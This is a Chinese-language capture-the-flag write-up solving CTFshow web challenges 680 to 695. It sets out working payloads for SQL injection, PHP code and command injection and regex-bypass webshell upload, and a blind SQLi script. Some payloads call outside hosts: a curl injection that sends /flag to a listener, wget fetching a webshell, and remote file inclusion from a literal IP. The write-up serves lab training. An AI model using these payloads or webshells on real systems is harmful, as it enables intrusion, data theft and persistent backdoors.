CTFshow大赛原题

680

post传入code=phpinfo();执行成功,查看被ban函数,无法执行命令,使用原生类查看文件

code=$a=new FilesystemIterator(".");var_dump ($a);

下载文件即可

681

抓包发现返回内容为sql语句

过滤了空格和引号,会被吞,尝试构造payload,发现#可用,\可用,构造语句||1#\此时执行语句为

select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'

相当于判断username是否等于||1' or nickname = 这一字符串或一,结果永真,登录即可拿到flag

682

这辈子第一次碰到js代码审计,看呗

var c2n  = c =>{
    if(c.length>1){
        return 0
    }

    if(c.charCodeAt()>0x60 && c.charCodeAt()<0x67){
        return c.charCodeAt()-0x57
    }

    if(parseInt(c)>0){
        return parseInt(c)
    }

    return 0;
}

var s2n2su = s =>{
    r=0
    for (var i = s.length - 1; i >= 0; i--) {
        r+=c2n(s[i])
    }
    return r
}

function test(){
    var m=document.getElementById("message").value;
    var e = 'error';
    if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
        return alert(e)
    }
    var start = m.substring(0,8);

    if(start!=='ctfshow{'){
        return alert(e);
    }
    if(m.substring(m.length,m.length-1)!=="}"){
        return alert(e);
    }
    var s = m.substring(8,m.length-1)
    if(s.length!==36){
        return alert(e);
    }
    var k = s.split("-")
    if(k.length!==5){
        return alert(e)
    }
    if(s2n2su(k[0])!==63){
        return alert(e)
    }
    if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
        return alert(e)
    }

    if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
        return alert(e)
    }



    if(parseInt(k[1][0])!==(c2n('a')-1)){
        return alert(e)
    }

    if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
        return alert(e)
    }

    if(k[2][1]!=='e'){
        return alert(e)
    }

    if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){
        return alert(e)
    }


    if(parseInt(k[3][0])!==(c2n('a')-1)){
        return alert(e)
    }

    if(parseInt(k[3][1])!==parseInt(k[3][3])){
        return alert(e)
    }

    if(parseInt(k[3][3])*2+c2n('a')!==0x12){
        return alert(e)
    }

    if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){
        return alert(e)
    }

    if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
        return alert(e)
    }

    alert('you are right')
}




const Base64 = {
    _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    encode: function (e) {
        var t = "";
        var n, r, i, s, o, u, a;
        var f = 0;
        e = Base64._utf8_encode(e);
        while (f < e.length) {
            n = e.charCodeAt(f++);
            r = e.charCodeAt(f++);
            i = e.charCodeAt(f++);
            s = n >> 2;
            o = (n & 3) << 4 | r >> 4;
            u = (r & 15) << 2 | i >> 6;
            a = i & 63;
            if (isNaN(r)) {
                u = a = 64
            } else if (isNaN(i)) {
                a = 64
            }
            t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a)
        }
        return t
    },
    decode: function (e) {
        var t = "";
        var n, r, i;
        var s, o, u, a;
        var f = 0;
        e = e.replace(/[^A-Za-z0-9+/=]/g, "");
        while (f < e.length) {
            s = this._keyStr.indexOf(e.charAt(f++));
            o = this._keyStr.indexOf(e.charAt(f++));
            u = this._keyStr.indexOf(e.charAt(f++));
            a = this._keyStr.indexOf(e.charAt(f++));
            n = s << 2 | o >> 4;
            r = (o & 15) << 4 | u >> 2;
            i = (u & 3) << 6 | a;
            t = t + String.fromCharCode(n);
            if (u != 64) {
                t = t + String.fromCharCode(r)
            }
            if (a != 64) {
                t = t + String.fromCharCode(i)
            }
        }
        t = Base64._utf8_decode(t);
        return t
    },
    _utf8_encode: function (e) {
        e = e.replace(/rn/g, "n");
        var t = "";
        for (var n = 0; n < e.length; n++) {
            var r = e.charCodeAt(n);
            if (r < 128) {
                t += String.fromCharCode(r)
            } else if (r > 127 && r < 2048) {
                t += String.fromCharCode(r >> 6 | 192);
                t += String.fromCharCode(r & 63 | 128)
            } else {
                t += String.fromCharCode(r >> 12 | 224);
                t += String.fromCharCode(r >> 6 & 63 | 128);
                t += String.fromCharCode(r & 63 | 128)
            }
        }
        return t
    },
    _utf8_decode: function (e) {
        var t = "";
        var n = 0;
        var r = c1 = c2 = 0;
        while (n < e.length) {
            r = e.charCodeAt(n);
            if (r < 128) {
                t += String.fromCharCode(r);
                n++
            } else if (r > 191 && r < 224) {
                c2 = e.charCodeAt(n + 1);
                t += String.fromCharCode((r & 31) << 6 | c2 & 63);
                n += 2
            } else {
                c2 = e.charCodeAt(n + 1);
                c3 = e.charCodeAt(n + 2);
                t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
                n += 3
            }
        }
        return t
    }
}



function st3(srcString) {
    if (!srcString) {
        return '';
    }

    let BASE32CHAR = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
    let i = 0;
    let index = 0;
    let digit = 0;
    let currByte;
    let nextByte;
    let retrunString = '';
    srcString = Base64._utf8_encode(srcString);

    for (let i = 0; i < srcString.length;) {
        currByte = (srcString.charCodeAt(i) >= 0) ? srcString.charCodeAt(i)
            : (srcString.charCodeAt(i) + 256);

        if (index > 3) {
            if ((i + 1) < srcString.length) {
                nextByte = (srcString.charCodeAt(i + 1) >= 0)
                    ? srcString.charCodeAt(i + 1)
                    : (srcString.charCodeAt(i + 1) + 256);
            } else {
                nextByte = 0;
            }

            digit = currByte & (0xFF >> index);
            index = (index + 5) % 8;
            digit <<= index;
            digit |= (nextByte >> (8 - index));
            i++;
        } else {
            digit = (currByte >> (8 - (index + 5))) & 0x1F;
            index = (index + 5) % 8;

            if (index == 0) {
                i++;
            }
        }

        retrunString = retrunString + BASE32CHAR.charAt(digit);
    }
    while((retrunString.length % 8) !== 0){
        retrunString += "=";
    }
    return retrunString;
}

分析代码,要求flag符合下列条件

  1. 前八位为字符串ctfshow{,结尾为}
  2. flag经过sha256运算的结果为e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d
  3. 中间内容长度为36,有4个UUID分块-
  4. c2n函数的作用:将UUID中的内容转换为10进制数
  5. s2n2su函数的作用:将UUID中每一位的数字相加并返回最终的值
  6. 第一个UUID分段的UUID和值为63
  7. 第一个UUID分段的前四位经过sha256运算后的结果是c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400,结果为592b
  8. 第一个UUID分段后4位经过sha256运算后的结果是f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc,结果为9d77
  9. 第二个UUID分段是9dda
  10. 第三个UUID的第二位是e,并且剩余三位的连接后为430
  11. 第四个UUID为94a4
  12. 第五个UUID经过base32编码结果为GVSTMNDGGQ2DSOLBGUZA====

最终构造出flag

ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}

顺便贴个爆破脚本

import hashlib
from itertools import *
string="0123456789abcdef"
k=product(string,repeat=4)
for i in k:
    aaa="".join(i)
    out1 = hashlib.sha256(aaa.encode("utf-8")).hexdigest()
    if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
        print(aaa)
    if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
        print(aaa)

683

明显的弱类型比较

<?php 
   include "flag.php"; 
   if(isset($_GET['秀'])){ 
       if(!is_numeric($_GET['秀'])){ 
          die('必须是数字'); 
       }else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){ 
          die('你太短了'); 
       }else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){ 
           die('你太长了'); 
       }else{ 
           sleep((int)$_GET['秀']); 
           echo $flag; 
       } 
   } 

自动转换时xex会被转换为原始数字,int强制转换string时取到字母停止

payload:?秀=0.6e7

684

源码在此

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

变量$action要出现数字字母以外的字符,还要执行函数,使用\create_function,这里利用的是php环境中默认的namespace

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。 接下来第二个参数可以引发危险的函数。

create_function()是PHP中的内置函数,用于在PHP中创建匿名(lambda-style)函数。

用法:

string create_function ( $args, $code )

参数:该函数接受以下两个参数:

  • **$args:**它是一个字符串类型的函数参数。
  • **$code:**它是字符串类型的函数代码。

注意:通常,这些参数将作为单引号分隔的字符串传递。使用单引号引起来的字符串的原因是为了防止变量名被解析,否则,将需要双引号来转义变量名,例如\ $avar。

返回值:此函数以字符串形式返回唯一的函数名称,否则,在错误时返回FALSE。

而对于create_function函数来说,实际执行的内容如下

function noname($args) { $code }

结尾我们使用}闭合,最终的payload如下

payload:?action=%5ccreate_function&arg=}system('tac /secret_you_never_know');/*

685

利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过正则表达式了。

import requests
url="http://b826efef-6cde-4fa8-84d3-4cb699605ab2.challenge.ctf.show"
files={
	'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
print(r.text)

686

无参RCE

payload:?code=system(current(getallheaders()));
X-Forwarded-Host: cat /secret_you_never_know

687

换行执行命令

payload:?ip=1%0atac /flaaag

688

俩函数一起用有的问题

escapeshellarg(); escapeshellcmd();

payload:?url=http://监听使用的ip:port/' -F file=@/flag'

实际传入shell的是

curl 'http://IP:端口/'\\'' -F file=@/flag'\\'''

直接带出文件

689

<?php 
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
    
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){
    die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.CTFshow";
}

这里在path位置没有过滤,也就是说不管我们在path位置写入什么都会原封不动的返回,所以此时我们让docker访问自己,在path处传入木马即可

http://f784bf7a-ace9-414a-bbfd-cfd348cefd95.challenge.ctf.show/?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=%3C?php%20eval($_POST[1]);?%3E&path=b.php

690

<?php 
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
    if ( !preg_match('/^\w+$/', $args[$i]) )
        exit("sorry");
}

exec('./ ' . implode(" ", $args));

传入的命令中只能有字母和数字,执行命令可用换行绕过,问题是我们要如何构造命令来执行,首先因为没有回显,所以直接执行是行不通的,那可以尝试写一个文件,构造一个服务器返回内容为一句话木马的脚本


构造如下命令

mkdir a
cd a
wget 10进制服务器IP

此时a文件夹下就有一个index.html内容为一句话木马,但是我们还没办法执行,此时我们利用tar来将文件类型进行更改

tar cvf shell a

将a文件夹打包成一个shell文件就可以执行了

691

<?php
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function   filter($str){
      $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
      if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
      }
      return $str;
  }
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where  username =
 '$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['username'];
  }
}else{
   echo "The content in the password column is the flag!";
}
?>

order by盲注,贴个链接,原理就是通过password位置的字符串的比较导致回显中username的内容不同来判断结果,直接写脚本吧

import requests
flagstr="-01234567890abcdefghiostw{}---"
url="http://9446af78-f5bd-4d30-94b4-05dc5eb8f887.challenge.ctf.show/"
flag=""
for i in range(0,100):
    for j in range(1,len(flagstr)):
        tmp=flag+flagstr[j]
        data={'username':f"'or 1 union select 1,2,'{tmp}' order by 3#","password":"1"}
        tex=requests.post(url=url,data=data).text
        if "</code>admin" in tex:
            print(flag+flagstr[j-1])
            flag=flag+flagstr[j-1]
            break

692

看一下preg_replace函数的用法

preg_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_replace — 执行一个正则表达式的搜索和替换

说明

preg_replace(
  string|array $pattern,
  string|array $replacement,
  string|array $subject,
  int $limit = -1,
  int &$count = null
): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

replacement

用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且 pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。如果 patternreplacement 都是数组,每个 pattern 使用 replacement中对应的元素进行替换。如果 replacement 中的元素比 pattern 中的少,多出来的 pattern 使用空字符串进行替换。

replacement 中可以包含后向引用 \\n$n,语法上首选后者。 每个这样的引用将被匹配到的第 n 个捕获子组捕获到的文本替换。 n 可以是0-99,\\0$0 代表完整的模式匹配文本。捕获子组的序号计数方式为:代表捕获子组的左括号从左到右, 从1开始数。如果要在 replacement 中使用反斜线,必须使用 4 个("\\\\",译注:因为这首先是 PHP 的字符串,经过转义后,是两个,再经过正则表达式引擎后才被认为是一个原文反斜线)。

此处如果将replacement中内容放入\\0那么就会直接匹配前面pattern中的结果

preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串。
比如初始的字符串为
$option=’123’;
如果执行
preg_replace(“$option=’.*’;”,”\x00”,$a)
那么返回的结果是
$option=’$option=’123’;’;
其实就是把原来的字符串又放到单引号里面了。
假设我们第一次传option=;phpinfo();//
首先config.php中的内容会被替换成$option=’;phpinfo();//‘。
如果我们第二次传option=%00
那么最终的结果是$option=’$option=’;phpinfo();//‘’
这样就逃出了单引号,phpinfo()也就执行成功
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/122998220

693

extract函数加远程文件包含

?function=extract&file=http://45.15.131.101/

694

构造X-Forwarded-For请求头为文件名,file为.即可直接写入到请求头所构造的文件名中

/var/www/html/a.php/.

695